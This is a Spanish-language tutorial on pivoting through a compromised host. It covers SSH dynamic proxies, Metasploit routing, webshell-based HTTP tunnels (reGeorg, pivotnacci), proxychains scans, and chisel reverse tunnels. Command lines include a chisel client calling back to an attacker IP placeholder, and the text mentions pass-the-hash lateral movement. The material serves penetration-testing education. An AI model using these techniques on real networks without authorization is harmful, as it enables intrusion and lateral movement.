Pivotaje en la Red

El concepto de pivoting es el conjunto de técnicas que podemos usar para utilizar un sistema comprometido a modo de “puente” con el objetivo de acceder a otros equipos o redes a través de él. Normalmente a sistemas o infraestructuras a las que no disponíamos de acceso previamente.

Como cabe esperar, para poder realizar pivoting hace falta comprometer un sistema objetivo y obtener privilegios elevados. En caso de obtener unos privilegios de acceso de usuario estándar no tendremos los permisos necesarios para poder crear servicios de red a modo de proxy ni encaminar tráfico a través de la víctima.

Una vez que se logra acceso a un equipo de la red interna, para acceder al resto de equipos normalmente se utilizará el primer equipo a modo de pivote, de modo que este será un nodo intermedio para enumerar la red interna, transferir herramientas y exfiltrar información. Normalmente, durante la enumeración de este primer equipo vulnerado se encontrarán algunas credenciales o hashes, o se podrán identificar vulnerabilidades en otros equipos de la red.

Con esta información disponible es posible hacer un movimiento lateral para saltar a otros equipos o ejecutar comandos en los mismos. Para ello se pueden utilizar diferentes técnicas y herramientas. Si la explotación se ha logrado utilizando Metasploit se pueden utilizar algunos módulos auxiliares, como psexec_pth. En Windows también se puede utilizar WMI (Windows Management Instrumentation) para ejecutar comandos de manera remota en otros equipos de la red. Se pueden hacer también ataques sobre Kerberos, como pass-the-hash (pth) o pass-the ticket (ptt), utilizando diferentes herramientas, como CrackMapExec.

En ocasiones será necesario utilizar redirigir puertos y establecer túneles para enviar información a través de los mismos, lo que se denomina habitualmente con sus términos en inglés Port Forwarding y Tunneling, y se pueden utilizar para diversos fines, como cifrar las comunicaciones establecidas por un canal no cifrado o acceder a puertos de equipos de la red interna que no son accesibles a priory desde el equipo del atacante.

De igual forma, se puede realizar una redirección de puertos sobre el propio equipo para acceder a puertos filtrados. Para entender esto se puede partir de un escenario bastante habitual en el que, cuando se enumera el equipo vulnerado, se descubren ciertos puertos filtrados hacia el exterior pero, accesibles desde el propio equipo. Algunos de estos puertos podrían permitir un acceso por escritorio remoto o una shell más estable y cómoda de usar, corno podría ser un acceso por SSH.

En estos casos se puede realizar una redirección de puertos para que estos puertos sean accesibles desde el equipo atacante. Uno de los protocolos más interesantes para esto es SSH, puesto que se puede utilizar para crear túneles cifrados bidireccionales, tanto desde equipos Linux como desde Windows. Actualmente todos los sistemas suelen disponer de un cliente SSH de linea de comandos, pero en los casos de los equipo Windows puede que no esté instalado, de modo que se puede utilizar algún cliente corno plink, que no precisa instalación. No obstante, existen muchas otras formas de establecer túneles, como la herramienta rinetd, o establecer túneles HTTP la herramienta httptunnel, de modo que hay variedad de opciones para elegir la más adecuada, según las circunstancias de la post-explotación y de los gustos personales.

Aunque existen varias técnicas de pivoting las más utilizadas son las siguientes:

  • Pivoting con SSH
  • Pivoting con meterpreter
  • Pivoting con HTTP
  • Pivoting con chisel

Pivoting con SSH
La herramienta ssh nos ofrece la posibilidad de conectarnos de manera remota a un servidor SSH . Pero también nos permite establecer un túnel entre el cliente ssh y el servidor que funcionará a modo de proxy socks.

Para poder utilizar esta técnica necesitamos disponer de credenciales en el servidor SSH que queremos utilizar a modo de router, es decir, para pivotar en la red.

El funcionamiento es muy sencillo, haciendo uso del operador -D del cliente ssh, generaremos un proxy shock dinámico en la interfaz localhost de nuestro equipo. Todas las comunicaciones que se establezcan a través de este proxy se reenviarán a través del túnel SSH establecido con la máquina víctima.

A continuación se muestra un ejemplo en el que se inicia un servidor proxysocks en el puerto TCP 9050 de nuestra interfaz localhost y todas las comunicaciones que se realicen a través de ese proxy se enrutan a través del túnel SSH contra el servidor SSH de la dirección IP 192.168.0.15 (Que utilizamos como pivote)

$ ssh -D 127.0.0.1:9050 root@192.168.0.15

Para poder establecer la comunicación con el Proxy iniciado en nuestro equipo habrá que utilizar un cliente proxy en el sistema. Normalmente utilizaremos los siguientes clientes proxy:

  • Navegador web.
  • Proxychains en Linux.

Pivoting con meterpreter
Entre otras muchas opciones, el payload de meterpreter permite utilizarse como punto de pivoting para poder tunelizar las conexiones de un atacante a la red interna.

Una vez comprometida una máquina remota con el payload de meterpreter, y teniendo una sesión activa, podemos utilizar la sesión para enrutar el tráfico.

Estableciendo la ruta
En el propio Metasploit podemos utilizar el comando route para indicar que queremos enrutar todas las comunicaciones a una determinada red a través de una determinada sesión activa de meterpreter.

El comando utilizado en metasploit es muy similar al comando route utilizado para establecer una ruta de red, pero en vez de indicar un gateway para acceder a la red se indica una sesión activa de meterpreter.

Para poder establecer la ruta en Metasploit se utiliza el comando route indicando que se va a añadir la ruta seguido de la red y la máscara de la red a la que queremos acceder y por último indicar la sesión activa de meterpreter que nos enrutará el tráfico a esa red:

Metasploit> route add <network> <netmask> <meterpreter_session_id>

El siguiente ejemplo muestra una ruta en que le indica a Metasploit que para acceder a la red 192.168.100.0/24 se enrute el tráfico a través de la sesión número 2 de meterpreter.

Metasploit> route add 192.168.100.0 255.255.255.0 2

En el momento en el que se establezca la ruta, todas las conexiones que se realicen desde Metasploit para acceder a la red 192.168.100.0/24 se enrutarán por la session 2 de meterpreter.

Si queremos que esta ruta esté disponible para que desde otros programas se pueda utilizar este enrutamiento habrá que hacer uso de un módulo auxiliar de Metasploit para que funcione como Proxy Socks.

Iniciando proxysocks en Metasploit
En Metasploit existe un módulo auxiliar (socks_proxy) que permite levantar un proxysocks en Metasploit para que se puedan enrutar conexiones desde fuera de Metasploit a través del túnel creado.

Metasploit> use auxiliary/server/socks_proxy

El módulo dispone de varias opciones de configuración:

  • Requerir autenticación (user:password)
  • IP en la que dará servicio el proxy (cualquier IP, localhost)
  • Puerto en el que se inicia el proxy
  • Versión del proxy socks (4a o 5)

Pivoting a través de HTTP
De la misma manera que si tenemos un sistema comprometido se puede utilizar para pivotar. También podremos hacer una acción similar si tenemos la posibilidad de comprometer una web a través de “file inclusion” (subir ficheros para generar una webshell).

Existen varias herramientas para realizar esta acción. Sin embargo mostraremos las más comunes:

  • reGeorg

La herramienta reGeorg tiene disponibles 7 agentes distintos (ashx, aspx, jsp, js y php) para que se puedan desplegar en el servidor web comprometido. En el siguiente enlace (https://github.com/sensepost/reGeorg) podéis acceder a la página oficial de reGeorg.

El siguiente comando levanta el proxysocks en el puerto 8080 de localhost para tunelizar a través del agente web.

$ python reGeorgSocksProxy.py -p 8080 -u http://domain.com/ /tunnel/tunnel.jsp

  • pivotnacci
La herramienta pivotnacci tiene disponibles 3 agentes distintos (aspx, jsp y php) para que se puedan desplegar en el servidor web comprometido. Sus características más importantes son las siguientes:
  • Autenticación mediante contraseñas
  • Configuración de cabeceras HTTP (como host y agent)

En el siguiente enlace (https://github.com/blackarrowsec/pivotnacci) podéis acceder a la página oficial de pivotnacci.

El siguiente comando levanta el proxysocks en el puerto 1080 de localhost para tunelizar a través del agente web

$ pivotnacci https://domain.com/agent.php --password "s3cr3t” –p 1080

Todas las herramientas se basan en el despliegue de agentes en el servidor web comprometido (sería la webshell) y un cliente que se pone en contacto con el agente para enrutar el tráfico.

Utilizando el cliente proxy
Una vez que hemos iniciado algún proxysocks, utilizando las técnicas descritas en las secciones anteriores, tenemos que hacer uso de los proxies que hubiéramos implementado para poder tunelizar las conexiones hacia las redes internas.

Navegador web como cliente proxy
Si únicamente queremos utilizar el proxy para acceder a otros servidores web a los que no tuviéramos acceso en un principio podemos hacerlo directamente en nuestro navegador web.

Para ello accederemos a la configuración o preferencias del navegador web y buscaremos el apartado en el que se puede indicar al navegador que utilice un determinado proxy web.

Una vez se indica que utilice el proxy cualquier navegación será tunelizada a través de él.

Proxychains como cliente proxy
Si queremos tunelizar una herramienta de consola a través de los proxies establecidos deberemos utilizar proxychains.

Configuración: La configuración de proxychains se realiza a través del fichero /etc/proxychains.conf y se establece el proxy a utilizar:

<tipo_de_proxy> <ip_proxy> <puerto_proxy> 

Por ejemplo, la siguiente configuración le indica a proxychains que utilice el proxysocks5 que hay en el puerto TCP 1080 de la interfaz localhost:

socks5 127.0.0.1 1080 

Para utilizar cualquier herramienta con el proxy se pone “proxychains” delante del comando que queremos tunelizar:

$ proxychains nmap -sS 172.16.1.0/24 --top-ports 100

Pivoting con chisel
es una herramienta de tunneling TCP/UDP escrita en Go. Permite crear túneles reversos o directos para pasar tráfico a través de firewalls o NATs, y es muy usada en entornos de pentesting para pivoting y exfiltración de datos.

Funcionamiento básico:

  • Usa el protocolo HTTP/HTTPS para transportar tráfico redirigido.
  • Funciona en modo cliente-servidor.
  • El cliente se conecta al servidor, lo que permite usarlo en entornos donde el atacante no puede iniciar conexiones.
Como Servidor (atacante)

$ chisel server -p 8000 --reverse

Como Cliente (en máquina comprometida)

$ chisel client <IP_atacante>:8000 R:127.0.0.1:445:<IP_victima>:445
$ chisel client <IP_atacante>:8000 R:1080:socks

Las opciones principales son:
  • --help: Muestra ayuda.
  • -p: Puerto del servidor.
  • --reverse: Acepta túneles reversos desde clientes.
  • - R: Redirige el puerto local a través del túnel al servidor.
  • --socks: Activa un proxy SOCKS5.
  • --auth <user>:<pass>: Añade autenticación básica.
  • --key: Define una clave compartida para cifrado.
  • socks: También permite abrir un proxy SOCKS.
Puede consultarse la entrada en hacktricks sobre túneles y redirección de puertos para ver como se utilizan cada una de las herramientas.